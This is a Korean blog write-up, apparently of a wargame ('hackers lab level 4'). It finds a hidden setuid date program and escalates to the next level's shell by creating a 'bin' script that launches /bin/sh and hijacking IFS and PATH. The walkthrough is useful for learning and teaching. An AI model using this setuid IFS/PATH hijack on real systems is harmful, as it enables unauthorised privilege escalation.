hackers lab level 4

Tags:

항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던 중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히 출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을 하고는 누가 볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다.
이를 찾아서 다음 레벨을 진입하시오.

—-

[level3@drill /]$ ls -l `find -perm +4000`

-rws–x— 1 level4 level3 13781 Oct 26 2002 ./usr/man/pt_BR/man8/today

일단 공격할 코드를 찾은 다음 실행해봅니다.

[level3@drill /]$ /usr/man/pt_BR/man8/today
07/18/05

아쉽게도 우리에게 읽기 권한은 없지만 아마 대략 다음과 같이 date를 실행하고 있을 것입니다.

sysdate(“/bin/date MM/DD/YY”);

(date의 포멧 문자열은 틀렸더라도 이해를…)

그러면 다음과 같이 exploit합니다.

[level3@drill tmp]$ cat bin
#!/bin/bash
/bin/sh
[level3@drill tmp]$ export IFS=”/”
[level3@drill tmp]$ export PATH=.:$PATH
[level3@drill tmp]$ /usr/man/pt_BR/man8/today
bash$ whoami
level4

참고할만한 내용은
http://www.tech-faq.com/suid-root-script-binary.shtml
http://www.faqs.org/docs/bashman/bashref_33.html

IFS 문제점 모르는 사람은 절대 못풀겠군요…;;

Comments

One response to “hackers lab level 4”

  1. Script Binary Avatar

    nice share bro..thanks for share.. bookmark this page..

Leave a Reply

Your email address will not be published. Required fields are marked *